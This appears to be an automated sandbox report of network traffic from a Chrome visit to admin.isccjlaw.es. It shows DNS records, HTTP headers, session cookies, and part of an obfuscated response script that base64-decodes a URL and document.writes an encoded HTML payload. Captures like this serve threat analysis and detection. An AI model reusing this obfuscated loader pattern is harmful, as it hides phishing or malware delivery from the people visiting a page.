Mar 26, 2025 18:39:48.416681051 CET	1.1.1.1	192.168.2.4	0xcfa7	No error (0)	code.jquery.com	151.101.130.137	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:39:48.416681051 CET	1.1.1.1	192.168.2.4	0xcfa7	No error (0)	code.jquery.com	151.101.2.137	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:39:48.416681051 CET	1.1.1.1	192.168.2.4	0xcfa7	No error (0)	code.jquery.com	151.101.194.137	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:39:48.416681051 CET	1.1.1.1	192.168.2.4	0xcfa7	No error (0)	code.jquery.com	151.101.66.137	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:39:49.901036024 CET	1.1.1.1	192.168.2.4	0x426e	No error (0)	a.nel.cloudflare.com	35.190.80.1	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

admin.isccjlaw.es

code.jquery.com

a.nel.cloudflare.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49738	172.64.80.1	443	1128	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-26 17:39:46 UTC	666	OUT	GET /APhOutyLVeRT/ HTTP/1.1 Host: admin.isccjlaw.es Connection: keep-alive sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-26 17:39:47 UTC	1201	IN	HTTP/1.1 200 OK Date: Wed, 26 Mar 2025 17:39:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1sDhZIVWuspM98SkVjdHfEI3YxCVgJnLHH4ANIu8uQsIXaydduCTY2f7DmDkNDFgXLhn8U7wZiUf0XbLsy9J5fQHgFKkjs7mXcmZVL2go80WK1Day2M%2BPXh43FKb"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=44023&min_rtt=43944&rtt_var=16536&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2827&recv_bytes=1559&delivery_rate=64809&cwnd=84&unsent_bytes=0&cid=e19447080dbe2bbc&ts=325&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6Ijc0UCtHUGlidzhlRFhIeGJyNXR1Wnc9PSIsInZhbHVlIjoiNVFMVnNlbEtHeHQ3ZjV4OFVKMzlCdmx1UzJ4amV2K2c0NWxjYnplc1pJTkRucmZxWFdTU0U0VzhqOU9rVzhuRGJFQVNEOFRKZGE3OEErdDF6QkpObzdzeDhhcEo4bGZKZzFtY2hmTjVRWTFvQTNwNUx5QzE1N3ltUGo1SXR3QnoiLCJtYWMiOiIxZGZmYTQ5NzNmYTE1MTdjOTgyYTAzOTIxOGU5YTNiMjY1YmQwNzQxMDhjNzFiNzhkYjk1YjAzMjU0MTViMDRmIiwidGFnIjoiIn0%3D; expires=Wed, 26-Mar-2025 19:39:47 GMT; Max-Age=7200; path=/; secure; samesite=none
2025-03-26 17:39:47 UTC	764	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6a 4d 35 64 57 56 51 63 58 4e 61 57 54 68 53 61 6b 64 35 54 79 74 77 53 33 64 76 52 48 63 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 53 6b 46 36 64 54 55 30 64 7a 42 4e 61 33 6c 46 55 43 39 68 4e 32 6c 53 62 6d 74 76 53 57 6f 78 62 30 56 71 62 44 52 4b 65 46 4e 57 53 57 4a 36 53 33 59 34 56 79 38 79 4d 58 56 77 65 55 70 31 61 58 64 69 4e 7a 68 54 57 48 52 6f 4d 6b 64 4a 59 6d 39 4a 4e 32 52 52 53 55 55 76 61 33 5a 33 54 30 35 33 4c 33 56 43 56 53 74 30 62 6d 4a 34 56 58 5a 68 54 6a 6c 4f 57 48 6c 6a 4b 32 46 32 53 6d 35 6b 55 44 6c 59 62 6e 46 55 4d 32 49 76 65 45 63 76 5a 6e 64 70 65 44 4a 35 62 7a 46 50 54 6e 46 6a 63 55 4e 42 4d 6e 6f Data Ascii: Set-Cookie: laravel_session=eyJpdiI6IjM5dWVQcXNaWThSakd5TytwS3dvRHc9PSIsInZhbHVlIjoiSkF6dTU0dzBNa3lFUC9hN2lSbmtvSWoxb0VqbDRKeFNWSWJ6S3Y4Vy8yMXVweUp1aXdiNzhTWHRoMkdJYm9JN2RRSUUva3Z3T053L3VCVSt0bmJ4VXZhTjlOWHljK2F2Sm5kUDlYbnFUM2IveEcvZndpeDJ5bzFPTnFjcUNBMno
2025-03-26 17:39:47 UTC	1369	IN	Data Raw: 37 66 66 39 0d 0a 3c 73 63 72 69 70 74 3e 0a 65 49 53 48 68 45 6f 6e 66 70 20 3d 20 61 74 6f 62 28 22 61 48 52 30 63 48 4d 36 4c 79 39 70 63 30 73 75 61 58 4e 6a 59 32 70 73 59 58 63 75 5a 58 4d 76 51 56 42 6f 54 33 56 30 65 55 78 57 5a 56 4a 55 4c 77 3d 3d 22 29 3b 0a 66 6a 42 72 70 4e 76 50 78 70 20 3d 20 61 74 6f 62 28 22 62 6d 39 74 59 58 52 6a 61 41 3d 3d 22 29 3b 0a 50 72 4c 4f 58 4f 42 44 7a 6b 20 3d 20 61 74 6f 62 28 22 64 33 4a 70 64 47 55 3d 22 29 3b 0a 69 66 28 65 49 53 48 68 45 6f 6e 66 70 20 3d 3d 20 66 6a 42 72 70 4e 76 50 78 70 29 7b 0a 64 6f 63 75 6d 65 6e 74 5b 50 72 4c 4f 58 4f 42 44 7a 6b 5d 28 64 65 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 65 73 63 61 70 65 28 61 74 6f 62 28 27 50 43 46 45 54 30 4e 55 57 56 42 46 49 47 68 30 Data Ascii: 7ff9<script>eISHhEonfp = atob("aHR0cHM6Ly9pc0suaXNjY2psYXcuZXMvQVBoT3V0eUxWZVJULw==");fjBrpNvPxp = atob("bm9tYXRjaA==");PrLOXOBDzk = atob("d3JpdGU=");if(eISHhEonfp == fjBrpNvPxp){document[PrLOXOBDzk](decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0
2025-03-26 17:39:47 UTC	1369	IN	Data Raw: 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f Data Ascii: ++oOOFpOOFpOOFpO++oOOFpOOFpO++oO++oO++oO++oOOFpO++oOOFpOOFpOOFpO++oOOFpO++oO++oO++oOOFpOOFpO++oOOFpOOFpOOFpOOFpO++oOOFpOOFpOOFpO++oO++oOOFpO++oO++oO++oOOFpO++oOOFpOOFpOOFpO++oO++oOOFpOOFpOOFpO++oOOFpOOFpOOFpO++oOOFpOOFpO++oO++oOOFpO++oOOFpO++oOOFpOOFpO++o
2025-03-26 17:39:47 UTC	1369	IN	Data Raw: 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f Data Ascii: FpO++oOOFpOOFpOOFpO++oO++oOOFpOOFpO++oO++oOOFpO++oO++oO++oOOFpOOFpO++oOOFpOOFpOOFpOOFpO++oOOFpOOFpOOFpO++oOOFpOOFpOOFpO++oO++oOOFpO++oOOFpOOFpOOFpO++oO++oOOFpO++oOOFpOOFpOOFpOOFpOOFpO++oOOFpOOFpOOFpO++oO++oO++oO++oO++oOOFpOOFpO++oOOFpO++oO++oO++oO++oOOFpO
2025-03-26 17:39:47 UTC	1369	IN	Data Raw: 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b Data Ascii: oOOFpOOFpO++oO++oOOFpO++oOOFpO++oOOFpOOFpOOFpO++oO++oOOFpOOFpO++oO++oOOFpO++oOOFpO++oO++oO++oO++oO++oOOFpO++oO++oO++oOOFpO++oO++oOOFpO++oO++oO++oO++oOOFpO++oO++oOOFpOOFpOOFpO++oOOFpO++oOOFpO++oOOFpOOFpOOFpO++oO++oOOFpO++oO++oOOFpOOFpOOFpO++oO++oO++oO++oO+
2025-03-26 17:39:47 UTC	1369	IN	Data Raw: 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 Data Ascii: O++oO++oOOFpOOFpO++oOOFpOOFpOOFpOOFpO++oOOFpOOFpOOFpO++oOOFpO++oOOFpO++oOOFpOOFpOOFpO++oOOFpO++oO++oO++oO++oOOFpOOFpOOFpO++oOOFpO++oO++oOOFpOOFpO++oO++oO++oOOFpO++oO++oOOFpOOFpO++oOOFpOOFpO++oO++oO++oOOFpOOFpO++oO++oO++oO++oOOFpO++oOOFpOOFpO++oOOFpOOFpOOF
2025-03-26 17:39:47 UTC	1369	IN	Data Raw: 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f Data Ascii: OFpO++oOOFpO++oOOFpOOFpOOFpOOFpO++oO++oOOFpO++oOOFpOOFpO++oO++oOOFpO++oO++oO++oOOFpOOFpO++oOOFpOOFpOOFpOOFpO++oOOFpOOFpOOFpO++oOOFpOOFpOOFpO++oOOFpOOFpO++oOOFpOOFpOOFpO++oO++oO++oOOFpO++oO++oO++oOOFpO++oO++oO++oOOFpO++oOOFpOOFpO++oO++oO++oO++oOOFpO++oO++o
2025-03-26 17:39:47 UTC	1369	IN	Data Raw: 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f Data Ascii: +oOOFpO++oOOFpOOFpO++oOOFpO++oO++oO++oO++oOOFpO++oO++oOOFpO++oO++oO++oOOFpOOFpO++oO++oOOFpO++oOOFpO++oOOFpOOFpO++oO++oOOFpOOFpO++oOOFpO++oOOFpO++oO++oOOFpO++oOOFpO++oO++oO++oOOFpO++oOOFpO++oOOFpO++oOOFpO++oO++oO++oOOFpO++oO++oOOFpO++oO++oOOFpO++oO++oOOFpO
2025-03-26 17:39:47 UTC	1369	IN	Data Raw: 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b Data Ascii: oOOFpOOFpOOFpOOFpO++oOOFpO++oO++oOOFpO++oO++oO++oO++oO++oO++oOOFpO++oOOFpOOFpO++oOOFpOOFpO++oO++oO++oO++oOOFpO++oOOFpO++oO++oO++oOOFpO++oO++oO++oO++oO++oO++oO++oOOFpO++oO++oO++oO++oO++oO++oO++oOOFpO++oO++oO++oO++oO++oO++oO++oOOFpO++oO++oO++oO++oO++oO++oO+
2025-03-26 17:39:47 UTC	1369	IN	Data Raw: 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b Data Ascii: O++oO++oOOFpO++oO++oO++oO++oO++oO++oO++oOOFpO++oO++oO++oO++oO++oO++oO++oOOFpO++oO++oO++oO++oO++oO++oOOFpOOFpOOFpOOFpO++oOOFpOOFpO++oO++oOOFpO++oO++oO++oO++oO++oO++oOOFpOOFpO++oO++oO++oOOFpOOFpO++oOOFpOOFpOOFpO++oOOFpO++oO++oO++oOOFpOOFpOOFpO++oO++oOOFpO++

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49744	151.101.130.137	443	1128	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-26 17:39:48 UTC	664	OUT	GET /jquery-3.6.0.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://admin.isccjlaw.es/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-26 17:39:48 UTC	562	IN	HTTP/1.1 200 OK Connection: close Content-Length: 89501 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-15d9d" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Accept-Ranges: bytes Date: Wed, 26 Mar 2025 17:39:48 GMT Via: 1.1 varnish Age: 1679771 X-Served-By: cache-lga21962-LGA X-Cache: HIT X-Cache-Hits: 1 X-Timer: S1743010789.718985,VS0,VE1 Vary: Accept-Encoding
2025-03-26 17:39:48 UTC	16384	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 36 2e 30 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 Data Ascii: /! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQu
2025-03-26 17:39:48 UTC	16384	IN	Data Raw: 2c 64 5d 3b 62 72 65 61 6b 7d 7d 65 6c 73 65 20 69 66 28 70 26 26 28 64 3d 73 3d 28 72 3d 28 69 3d 28 6f 3d 28 61 3d 65 29 5b 53 5d 7c 7c 28 61 5b 53 5d 3d 7b 7d 29 29 5b 61 2e 75 6e 69 71 75 65 49 44 5d 7c 7c 28 6f 5b 61 2e 75 6e 69 71 75 65 49 44 5d 3d 7b 7d 29 29 5b 68 5d 7c 7c 5b 5d 29 5b 30 5d 3d 3d 3d 6b 26 26 72 5b 31 5d 29 2c 21 31 3d 3d 3d 64 29 77 68 69 6c 65 28 61 3d 2b 2b 73 26 26 61 26 26 61 5b 6c 5d 7c 7c 28 64 3d 73 3d 30 29 7c 7c 75 2e 70 6f 70 28 29 29 69 66 28 28 78 3f 61 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3d 3d 3d 66 3a 31 3d 3d 3d 61 2e 6e 6f 64 65 54 79 70 65 29 26 26 2b 2b 64 26 26 28 70 26 26 28 28 69 3d 28 6f 3d 61 5b 53 5d 7c 7c 28 61 5b 53 5d 3d 7b 7d 29 29 5b 61 2e 75 6e 69 71 75 65 49 44 5d 7c Data Ascii: ,d];break}}else if(p&&(d=s=(r=(i=(o=(a=e)[S]\|\|(a[S]={}))[a.uniqueID]\|\|(o[a.uniqueID]={}))[h]\|\|[])[0]===k&&r[1]),!1===d)while(a=++s&&a&&a[l]\|\|(d=s=0)\|\|u.pop())if((x?a.nodeName.toLowerCase()===f:1===a.nodeType)&&++d&&(p&&((i=(o=a[S]\|\|(a[S]={}))[a.uniqueID]\|
2025-03-26 17:39:48 UTC	16384	IN	Data Raw: 22 6d 73 2d 22 29 2e 72 65 70 6c 61 63 65 28 7a 2c 55 29 7d 76 61 72 20 56 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 31 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 7c 7c 39 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 7c 7c 21 2b 65 2e 6e 6f 64 65 54 79 70 65 7d 3b 66 75 6e 63 74 69 6f 6e 20 47 28 29 7b 74 68 69 73 2e 65 78 70 61 6e 64 6f 3d 53 2e 65 78 70 61 6e 64 6f 2b 47 2e 75 69 64 2b 2b 7d 47 2e 75 69 64 3d 31 2c 47 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 63 61 63 68 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3b 72 65 74 75 72 6e 20 74 7c 7c 28 74 3d 7b 7d 2c 56 28 65 29 26 26 28 65 2e 6e 6f 64 65 54 79 70 65 3f 65 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3d 74 3a 4f 62 6a 65 63 74 2e Data Ascii: "ms-").replace(z,U)}var V=function(e){return 1===e.nodeType\|\|9===e.nodeType\|\|!+e.nodeType};function G(){this.expando=S.expando+G.uid++}G.uid=1,G.prototype={cache:function(e){var t=e[this.expando];return t\|\|(t={},V(e)&&(e.nodeType?e[this.expando]=t:Object.
2025-03-26 17:39:48 UTC	16384	IN	Data Raw: 72 5d 29 3b 65 6c 73 65 20 4c 65 28 65 2c 63 29 3b 72 65 74 75 72 6e 20 30 3c 28 61 3d 76 65 28 63 2c 22 73 63 72 69 70 74 22 29 29 2e 6c 65 6e 67 74 68 26 26 79 65 28 61 2c 21 66 26 26 76 65 28 65 2c 22 73 63 72 69 70 74 22 29 29 2c 63 7d 2c 63 6c 65 61 6e 44 61 74 61 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 2c 6e 2c 72 2c 69 3d 53 2e 65 76 65 6e 74 2e 73 70 65 63 69 61 6c 2c 6f 3d 30 3b 76 6f 69 64 20 30 21 3d 3d 28 6e 3d 65 5b 6f 5d 29 3b 6f 2b 2b 29 69 66 28 56 28 6e 29 29 7b 69 66 28 74 3d 6e 5b 59 2e 65 78 70 61 6e 64 6f 5d 29 7b 69 66 28 74 2e 65 76 65 6e 74 73 29 66 6f 72 28 72 20 69 6e 20 74 2e 65 76 65 